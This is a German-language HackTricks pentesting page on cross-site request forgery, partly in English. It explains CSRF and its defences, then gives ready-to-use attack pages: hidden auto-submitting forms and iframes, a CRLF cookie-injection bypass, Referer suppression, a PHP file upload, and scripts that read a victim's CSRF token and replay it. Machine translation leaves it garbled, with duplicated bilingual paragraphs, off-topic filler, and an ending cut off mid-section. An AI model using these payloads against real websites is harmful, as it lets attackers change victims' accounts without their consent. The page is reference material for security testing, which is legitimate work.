hacktricks/pentesting-web/csrf-cross-site-request-forgery.md
2024-02-10 15:36:32 +00:00

50 KiB
Raw Blame History

CSRF (Cross Site Request Forgery)

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.

Treten Sie uns auf Discord bei und arbeiten Sie noch heute mit Top-Hackern zusammen!

Cross-Site Request Forgery (CSRF) erklärt

Cross-Site Request Forgery (CSRF) ist eine Art von Sicherheitslücke, die in Webanwendungen gefunden wird. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer auszuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Website besucht. Diese Website löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Absenden von Formularen oder das Abrufen von Bildern verwendet.

Voraussetzungen für einen CSRF-Angriff

Um eine CSRF-Sicherheitslücke auszunutzen, müssen mehrere Bedingungen erfüllt sein:

  1. Identifizierung einer wertvollen Aktion: Der Angreifer muss eine lohnenswerte Aktion finden, die ausgenutzt werden kann, wie z.B. das Ändern des Benutzerpassworts, der E-Mail-Adresse oder das Erhöhen von Berechtigungen.
  2. Sitzungsverwaltung: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können.
  3. Fehlen von unvorhersehbaren Parametern: Die Anfrage sollte keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.

Schutz vor CSRF-Angriffen

Es können mehrere Gegenmaßnahmen implementiert werden, um sich vor CSRF-Angriffen zu schützen:

  • SameSite-Cookies: Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. Mehr über SameSite-Cookies.
  • Cross-Origin Resource Sharing: Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Lesen der Antwort von der Opferseite erfordert. Erfahren Sie mehr über CORS-Bypass.
  • Benutzerverifizierung: Das Auffordern nach dem Passwort des Benutzers oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
  • Überprüfung der Referrer- oder Origin-Header: Die Validierung dieser Header kann dazu beitragen, sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Sorgfältig erstellte URLs können jedoch schlecht implementierte Überprüfungen umgehen, z.B.:
  • Verwendung von http://mal.net?orig=http://example.com (URL endet mit der vertrauenswürdigen URL)
  • Verwendung von http://example.com.mal.net (URL beginnt mit der vertrauenswürdigen URL)
  • Ändern der Parameter-Namen: Das Ändern der Namen von Parametern in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern.
  • CSRF-Token: Die Einbindung eines eindeutigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen können das Risiko von CSRF erheblich verringern. Die Effektivität des Tokens kann durch die Durchsetzung von CORS verbessert werden.

Das Verständnis und die Umsetzung dieser Abwehrmaßnahmen sind entscheidend für die Sicherheit und Integrität von Webanwendungen.

Bypass der Verteidigung

Von POST zu GET

Vielleicht ist das Formular, das Sie missbrauchen möchten, darauf vorbereitet, eine POST-Anfrage mit einem CSRF-Token zu senden, aber Sie sollten überprüfen, ob auch ein GET gültig ist und ob beim Senden einer GET-Anfrage das CSRF-Token immer noch validiert wird.

Fehlendes Token

Anwendungen können einen Mechanismus implementieren, um Tokens zu validieren, wenn sie vorhanden sind. Es entsteht jedoch eine Sicherheitslücke, wenn die Validierung vollständig übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der das Token enthält, nicht nur seinen Wert. Dadurch können sie den Validierungsprozess umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchführen.

CSRF-Token ist nicht an die Benutzersitzung gebunden

Anwendungen, die CSRF-Tokens nicht an Benutzersitzungen binden, stellen ein erhebliches Sicherheitsrisiko dar. Diese Systeme überprüfen Tokens gegen einen globalen Pool, anstatt sicherzustellen, dass jedes Token an die initiierende Sitzung gebunden ist.

So nutzen Angreifer dies aus:

  1. Authentifizieren Sie sich mit Ihrem eigenen Konto.
  2. Erhalten Sie ein gültiges CSRF-Token aus dem globalen Pool.
  3. Verwenden Sie dieses Token in einem CSRF-Angriff gegen ein Opfer.

Diese Sicherheitslücke ermöglicht es Angreifern, unberechtigte Anfragen im Namen des Opfers zu stellen und den unzureichenden Token-Validierungsmechanismus der Anwendung auszunutzen.

Umgehung der Methode

Wenn die Anfrage eine "seltsame" Methode verwendet, überprüfen Sie, ob die Funktion zur Methodenüberschreibung funktioniert. Wenn beispielsweise eine PUT-Methode verwendet wird, können Sie versuchen, eine POST-Methode zu verwenden und Folgendes zu senden: https://example.com/my/dear/api/val/num?_method=PUT

Dies könnte auch funktionieren, indem der _method-Parameter in einer POST-Anfrage gesendet wird oder indem die Header verwendet werden:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Umgehung des benutzerdefinierten Header-Tokens

Wenn die Anfrage einen benutzerdefinierten Header mit einem Token als CSRF-Schutzmethode hinzufügt, dann:

  • Testen Sie die Anfrage ohne das angepasste Token und auch den Header.
  • Testen Sie die Anfrage mit genau gleicher Länge, aber unterschiedlichem Token.

Anwendungen können CSRF-Schutz implementieren, indem sie das Token sowohl in einem Cookie als auch in einem Anfragemarameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob das Token, das im Backend gesendet wird, mit dem Cookie übereinstimmt. Die Anwendung überprüft Anfragen, indem sie prüft, ob das Token im Anfragemarameter mit dem Wert im Cookie übereinstimmt.

Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachstellen aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, z.B.

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

{% hint style="info" %} Beachten Sie, dass dieser Angriff nicht funktioniert, wenn das CSRF-Token mit dem Sitzungscookie verknüpft ist, da Sie dem Opfer Ihre Sitzung übergeben müssen und somit sich selbst angreifen würden. {% endhint %}

Änderung des Content-Type

Gemäß diesem Link sind dies die erlaubten Content-Type-Werte, um Preflight-Anfragen bei Verwendung der POST-Methode zu vermeiden:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Beachten Sie jedoch, dass die Serverlogik variieren kann, abhängig vom verwendeten Content-Type. Daher sollten Sie die genannten Werte sowie andere wie application/json,text/xml, application/xmlausprobieren.

Beispiel (von hier) zum Senden von JSON-Daten als text/plain:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Umgehung von Preflight-Anfragen für JSON-Daten

Wenn Sie versuchen, JSON-Daten über eine POST-Anfrage zu senden, ist es nicht direkt möglich, Content-Type: application/json in einem HTML-Formular zu verwenden. Ebenso führt die Verwendung von XMLHttpRequest zur Sendung dieses Inhaltstyps zu einer Preflight-Anfrage. Es gibt jedoch Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:

  1. Verwenden Sie alternative Content-Typen: Verwenden Sie Content-Type: text/plain oder Content-Type: application/x-www-form-urlencoded, indem Sie enctype="text/plain" im Formular festlegen. Mit diesem Ansatz wird getestet, ob die Backend-Anwendung die Daten unabhängig vom Content-Type verwendet.

  2. Ändern Sie den Content-Type: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit Content-Type: text/plain; application/json senden. Dadurch wird keine Preflight-Anfrage ausgelöst, aber der Server verarbeitet die Daten möglicherweise korrekt, wenn er so konfiguriert ist, dass er application/json akzeptiert.

  3. Verwendung einer SWF-Flash-Datei: Eine weniger häufige, aber mögliche Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik lesen Sie diesen Beitrag.

Umgehung der Referrer-/Origin-Prüfung

Vermeiden Sie den Referrer-Header

Anwendungen können den 'Referer'-Header nur überprüfen, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-Meta-Tag verwendet werden:

<meta name="referrer" content="never">

Dies stellt sicher, dass der 'Referer'-Header ausgelassen wird und möglicherweise Validierungsprüfungen in einigen Anwendungen umgangen werden.

Reguläre Ausdrücke umgehen

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Um den Domainnamen des Servers in der URL festzulegen, die der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

Bypass der HEAD-Methode

Der erste Teil dieses CTF-Writeups erklärt, dass im Quellcode von Oak ein Router so eingestellt ist, dass HEAD-Anfragen als GET-Anfragen behandelt werden, ohne eine Antwort zurückzugeben - eine gängige Lösung, die nicht auf Oak beschränkt ist. Anstatt einen spezifischen Handler für HEAD-Anfragen zu verwenden, werden sie einfach an den GET-Handler weitergeleitet, aber die Anwendung entfernt einfach den Antwortkörper.

Daher könnten Sie, wenn eine GET-Anfrage eingeschränkt ist, einfach eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird.

Beispiel für einen Angriff

Exfiltration des CSRF-Tokens

Wenn ein CSRF-Token als Schutzmaßnahme verwendet wird, könnten Sie versuchen, es durch Ausnutzung einer XSS-Schwachstelle oder einer Dangling Markup-Schwachstelle zu exfiltrieren.

GET mit HTML-Tags

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Andere HTML5-Tags, die verwendet werden können, um automatisch eine GET-Anfrage zu senden, sind:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Formular GET-Anfrage

A GET request is a type of HTTP request that is used to retrieve data from a server. In the context of web forms, a GET request is typically used when submitting a form that does not have any side effects, such as changing data on the server.

To send a GET request, the form's method attribute should be set to "GET" and the form's action attribute should specify the URL of the server endpoint that will handle the request. When the form is submitted, the data entered into the form fields will be appended to the URL as query parameters.

For example, consider the following form:

<form method="GET" action="/search">
  <input type="text" name="query" placeholder="Search...">
  <button type="submit">Search</button>
</form>

In this case, when the form is submitted, the browser will send a GET request to the /search endpoint with the value entered into the query input field as a query parameter. The resulting URL might look like this:

https://example.com/search?query=example

The server can then use the query parameter to process the request and return the appropriate response.

It's important to note that GET requests should not be used for sensitive operations or when submitting data that should be kept private, as the data is visible in the URL and can be easily intercepted or cached by intermediaries. For such cases, a POST request should be used instead.

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Form POST-Anfrage

Eine Form POST-Anfrage wird verwendet, um Daten von einem Client an einen Server zu senden. Dies geschieht normalerweise, wenn ein Benutzer ein Formular auf einer Webseite ausfüllt und auf die Schaltfläche "Senden" klickt.

Um eine Form POST-Anfrage durchzuführen, muss der Client die Daten in einem bestimmten Format an den Server senden. Dieses Format wird normalerweise durch das Content-Type-Header-Feld angegeben, das auf application/x-www-form-urlencoded gesetzt ist.

Die Daten werden dann im Body der Anfrage als Schlüssel-Wert-Paare übertragen. Jeder Schlüssel repräsentiert ein Formularfeld und der zugehörige Wert ist der vom Benutzer eingegebene Wert.

Ein Beispiel für eine Form POST-Anfrage könnte wie folgt aussehen:

<form action="/login" method="POST">
  <input type="text" name="username" value="admin">
  <input type="password" name="password" value="password123">
  <input type="submit" value="Login">
</form>

In diesem Beispiel werden die Benutzername- und Passwortdaten über das Formular an den Server gesendet, wenn der Benutzer auf die Schaltfläche "Login" klickt. Der Server kann dann diese Daten verarbeiten und entsprechend reagieren.

Es ist wichtig zu beachten, dass CSRF (Cross-Site Request Forgery) eine potenzielle Sicherheitslücke bei Form POST-Anfragen darstellen kann. Bei einem CSRF-Angriff kann ein Angreifer eine bösartige Webseite erstellen, die den Benutzer dazu verleitet, eine Form POST-Anfrage auf einer legitimen Webseite auszuführen, ohne dass der Benutzer es merkt. Um CSRF-Angriffe zu verhindern, können verschiedene Schutzmechanismen wie CSRF-Token implementiert werden.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

Formular POST-Anfrage über iframe

Eine Möglichkeit, eine Cross-Site Request Forgery (CSRF)-Attacke durchzuführen, besteht darin, eine Formular POST-Anfrage über ein iframe-Element zu senden. Dies ermöglicht es dem Angreifer, eine bösartige Aktion im Namen des Opfers auszuführen, ohne dass das Opfer es bemerkt.

Um diese Technik anzuwenden, muss der Angreifer eine Webseite erstellen, die das Opfer besuchen wird. Auf dieser Webseite wird ein unsichtbares iframe-Element platziert, das auf die Zielseite verweist, auf der sich das Formular befindet, das der Angreifer manipulieren möchte.

Der Angreifer kann das Formular so gestalten, dass es die gewünschten Daten enthält und automatisch abgesendet wird, sobald die Zielseite geladen ist. Dies geschieht mithilfe von JavaScript, das im iframe-Element eingebettet ist.

Wenn das Opfer die bösartige Webseite besucht, wird das iframe geladen und das Formular automatisch abgesendet, ohne dass das Opfer es bemerkt. Die Zielseite behandelt die Anfrage als gültig, da sie von der gleichen Domain stammt, und führt die Aktion im Namen des Opfers aus.

Um sich vor dieser Art von Angriff zu schützen, sollten Entwickler geeignete Sicherheitsmaßnahmen ergreifen, wie z.B. die Verwendung von Anti-CSRF-Token oder das Überprüfen des Referrer-Headers, um sicherzustellen, dass Anfragen nur von vertrauenswürdigen Quellen stammen.

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST-Anfrage

Eine Ajax POST-Anfrage wird verwendet, um Daten an einen Server zu senden, ohne die Seite neu zu laden. Dies kann für Cross-Site Request Forgery (CSRF) Angriffe ausgenutzt werden, bei denen ein Angreifer eine bösartige Anfrage im Namen des Opfers an den Server sendet.

Um eine CSRF-Angriff durchzuführen, muss der Angreifer eine bösartige Webseite erstellen, die den Opferbrowser dazu bringt, eine Ajax POST-Anfrage an die Ziel-URL zu senden. Diese Anfrage enthält normalerweise sensible Daten oder Aktionen, die im Namen des Opfers ausgeführt werden sollen.

Um sich vor CSRF-Angriffen zu schützen, können verschiedene Maßnahmen ergriffen werden, wie z.B. die Verwendung von CSRF-Token, die Überprüfung des Referrer-Headers oder die Implementierung von Same-Site-Cookies.

Es ist wichtig, dass Entwickler sich bewusst sind, wie CSRF-Angriffe funktionieren und wie sie vermieden werden können, um die Sicherheit ihrer Webanwendungen zu gewährleisten.

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST-Anfrage

Eine multipart/form-data POST-Anfrage wird verwendet, um Daten an einen Server zu senden, insbesondere wenn es sich um Dateien handelt. Diese Art von Anfrage wird häufig verwendet, um Formulardaten hochzuladen.

Um eine multipart/form-data POST-Anfrage zu erstellen, müssen Sie den Content-Type-Header auf multipart/form-data setzen und die Daten im Body der Anfrage im entsprechenden Format senden.

Das Format einer multipart/form-data POST-Anfrage besteht aus mehreren Teilen, die durch eine eindeutige Trennzeichen-Zeichenkette voneinander getrennt sind. Jeder Teil enthält einen Header und den zugehörigen Inhalt.

Hier ist ein Beispiel für eine multipart/form-data POST-Anfrage:

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890

-----------------------------1234567890
Content-Disposition: form-data; name="file"; filename="example.txt"
Content-Type: text/plain

Inhalt der Datei...

-----------------------------1234567890
Content-Disposition: form-data; name="name"

John Doe
-----------------------------1234567890--

In diesem Beispiel wird eine Datei mit dem Namen "example.txt" hochgeladen und ein zusätzliches Feld mit dem Namen "name" gesendet.

Beachten Sie, dass das Trennzeichen (boundary) eindeutig sein muss und nicht in den Daten selbst vorkommen darf. Es wird verwendet, um die einzelnen Teile der Anfrage zu identifizieren.

Bei der Verarbeitung einer multipart/form-data POST-Anfrage auf dem Server müssen Sie den Inhalt jedes Teils analysieren und die entsprechenden Aktionen ausführen, z. B. das Speichern der hochgeladenen Datei oder das Verarbeiten der Formulardaten.

Es ist wichtig zu beachten, dass CSRF (Cross-Site Request Forgery) Angriffe bei multipart/form-data POST-Anfragen nicht so einfach durchgeführt werden können wie bei anderen Arten von Anfragen. CSRF-Schutzmaßnahmen wie das Hinzufügen eines CSRF-Tokens sollten dennoch implementiert werden, um die Sicherheit der Anwendung zu gewährleisten.

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST-Anfrage v2

In this technique, we will explore how to perform a CSRF attack using a multipart/form-data POST request. This type of request is commonly used when uploading files or submitting forms that contain binary data.

Understanding the Attack

A CSRF attack occurs when an attacker tricks a victim into unknowingly performing an action on a web application that they are authenticated to. By exploiting the trust between the victim and the application, the attacker can perform actions on behalf of the victim without their consent.

Crafting the Attack

To perform a CSRF attack using a multipart/form-data POST request, follow these steps:

  1. Identify the target web application and the action you want to perform on behalf of the victim.
  2. Create a malicious webpage or email that contains a form with the necessary fields to perform the action.
  3. Include a hidden field named "_csrf" in the form. This field should contain the CSRF token required by the target application to validate the request.
  4. Set the form's "action" attribute to the URL of the target application's endpoint that performs the desired action.
  5. Set the form's "method" attribute to "POST" and the "enctype" attribute to "multipart/form-data".
  6. Populate the form fields with the necessary data to perform the action.
  7. Submit the form using JavaScript or by tricking the victim into submitting it.

Mitigating CSRF Attacks

To protect against CSRF attacks, web applications can implement the following measures:

  1. Use CSRF tokens: Include a unique CSRF token in each form and validate it on the server-side before processing the request.
  2. Implement SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" on cookies to prevent them from being sent in cross-site requests.
  3. Use anti-CSRF libraries: Utilize libraries or frameworks that provide built-in protection against CSRF attacks.
  4. Educate users: Raise awareness among users about the risks of clicking on suspicious links or submitting forms on untrusted websites.

By understanding how CSRF attacks work and implementing appropriate security measures, web applications can effectively protect against this type of attack.

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Form POST-Anfrage aus einem iframe heraus

To perform a Cross-Site Request Forgery (CSRF) attack using an iframe, you can create a hidden form within the iframe and submit it automatically. This technique allows you to trick the victim's browser into making a POST request to a target website without their knowledge or consent.

Um einen Cross-Site Request Forgery (CSRF)-Angriff mithilfe eines iframes durchzuführen, können Sie ein verstecktes Formular innerhalb des iframes erstellen und es automatisch absenden. Diese Technik ermöglicht es Ihnen, den Browser des Opfers zu täuschen und eine POST-Anfrage an eine Zielseite zu senden, ohne dass das Opfer davon weiß oder zustimmt.

Here's an example of how you can implement this attack:

Hier ist ein Beispiel, wie Sie diesen Angriff durchführen können:

<iframe id="csrf-frame" style="display:none;"></iframe>
<script>
    var csrfFrame = document.getElementById('csrf-frame');
    var csrfForm = document.createElement('form');
    csrfForm.method = 'POST';
    csrfForm.action = 'https://target-website.com/update-profile';
    csrfForm.innerHTML = '<input type="hidden" name="username" value="attacker"><input type="hidden" name="email" value="attacker@example.com">';
    csrfFrame.contentDocument.body.appendChild(csrfForm);
    csrfForm.submit();
</script>

In this example, we create an iframe with the ID "csrf-frame" and set its display property to "none" to hide it from the user. We then create a form element using JavaScript and set its method to "POST" and action to the target website's URL. Inside the form, we include hidden input fields with the desired values for the username and email fields. Finally, we append the form to the iframe's document body and submit it.

In diesem Beispiel erstellen wir ein iframe mit der ID "csrf-frame" und setzen seine Anzeige-Eigenschaft auf "none", um es für den Benutzer zu verbergen. Anschließend erstellen wir ein Formularelement mit JavaScript und setzen seine Methode auf "POST" und die Aktion auf die URL der Zielseite. Innerhalb des Formulars fügen wir versteckte Eingabefelder mit den gewünschten Werten für den Benutzernamen und die E-Mail-Adresse hinzu. Schließlich fügen wir das Formular dem Dokumentkörper des iframes hinzu und senden es ab.

When the victim visits a page containing this iframe, the form will be automatically submitted, sending the POST request to the target website. The victim's browser will include any cookies associated with the target website, allowing the attacker to perform actions on behalf of the victim.

Wenn das Opfer eine Seite besucht, die dieses iframe enthält, wird das Formular automatisch abgesendet und die POST-Anfrage an die Zielseite gesendet. Der Browser des Opfers enthält alle Cookies, die mit der Zielseite verknüpft sind, was es dem Angreifer ermöglicht, im Namen des Opfers Aktionen durchzuführen.

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

CSRF-Token stehlen und eine POST-Anfrage senden

Eine Cross-Site Request Forgery (CSRF)-Attacke ermöglicht es einem Angreifer, eine Aktion im Namen eines authentifizierten Benutzers auszuführen, ohne dass dieser es bemerkt. Um eine CSRF-Attacke durchzuführen, muss der Angreifer den CSRF-Token des Benutzers stehlen und dann eine POST-Anfrage mit diesem Token senden.

Um den CSRF-Token zu stehlen, kann der Angreifer verschiedene Techniken verwenden, wie z.B. das Ausnutzen von Schwachstellen in der Anwendung oder das Ausführen von Social Engineering-Angriffen, um den Benutzer dazu zu bringen, auf einen präparierten Link zu klicken.

Sobald der Angreifer den CSRF-Token erhalten hat, kann er eine POST-Anfrage an die verwundbare Anwendung senden, um eine bösartige Aktion auszuführen. Diese Aktion kann je nach Anwendung variieren, z.B. das Ändern von Benutzerdaten, das Durchführen einer Geldüberweisung oder das Löschen von Inhalten.

Es ist wichtig zu beachten, dass CSRF-Token als Schutzmechanismus implementiert werden, um solche Angriffe zu verhindern. Entwickler sollten sicherstellen, dass CSRF-Token korrekt generiert und in allen relevanten Formularen und POST-Anfragen verwendet werden. Benutzer sollten auch vorsichtig sein und verdächtige Links oder Anfragen nicht ohne Überprüfung öffnen oder akzeptieren.

Um sich vor CSRF-Angriffen zu schützen, sollten Benutzer und Entwickler die folgenden bewährten Sicherheitspraktiken beachten:

  • Verwenden Sie sichere und zufällig generierte CSRF-Token.
  • Überprüfen Sie die Herkunft von Anfragen und akzeptieren Sie nur Anfragen von vertrauenswürdigen Quellen.
  • Implementieren Sie zusätzliche Sicherheitsmaßnahmen wie das Hinzufügen von Captchas oder das Verlangen einer erneuten Authentifizierung für kritische Aktionen.
  • Halten Sie die Anwendung und alle verwendeten Bibliotheken auf dem neuesten Stand, um bekannte Sicherheitslücken zu beheben.

Durch die Umsetzung dieser Sicherheitsmaßnahmen können Benutzer und Entwickler das Risiko von CSRF-Angriffen erheblich reduzieren.

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Stehlen Sie das CSRF-Token und senden Sie eine POST-Anfrage mithilfe eines iframes, eines Formulars und Ajax

Eine Möglichkeit, ein CSRF-Token zu stehlen und eine POST-Anfrage zu senden, besteht darin, eine Kombination aus einem iframe, einem Formular und Ajax zu verwenden.

  1. Erstellen Sie ein unsichtbares iframe-Element auf Ihrer bösartigen Website, das auf die Zielseite mit dem CSRF-Token verweist.
<iframe id="csrfFrame" style="display:none;"></iframe>
  1. Erstellen Sie ein unsichtbares Formular auf Ihrer bösartigen Website, das die erforderlichen Daten für die POST-Anfrage enthält, einschließlich des gestohlenen CSRF-Tokens.
<form id="csrfForm" action="https://zielwebsite.com/post-endpoint" method="POST" style="display:none;">
  <input type="hidden" name="data" value="bösartige Daten">
  <input type="hidden" name="csrf_token" id="stolenToken">
</form>
  1. Verwenden Sie Ajax, um das CSRF-Token aus dem iframe zu extrahieren und in das Formular einzufügen.
var csrfFrame = document.getElementById('csrfFrame');
var csrfForm = document.getElementById('csrfForm');
var stolenToken = csrfFrame.contentWindow.document.getElementById('csrfToken').value;
csrfForm.querySelector('#stolenToken').value = stolenToken;
  1. Senden Sie die POST-Anfrage automatisch, indem Sie das Formular absenden.
csrfForm.submit();

Durch diese Methode können Sie das CSRF-Token stehlen und eine POST-Anfrage im Namen des Opfers senden, ohne dass das Opfer es bemerkt.

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Stehlen Sie das CSRF-Token und senden Sie eine POST-Anfrage mithilfe eines Iframes und eines Formulars

Eine Möglichkeit, ein CSRF-Token zu stehlen und eine POST-Anfrage zu senden, besteht darin, ein Iframe und ein Formular zu verwenden. Dieser Angriff kann erfolgreich sein, wenn die Zielseite anfällig für CSRF ist und das CSRF-Token im Quellcode der Seite verfügbar ist.

Hier ist der Schritt-für-Schritt-Prozess:

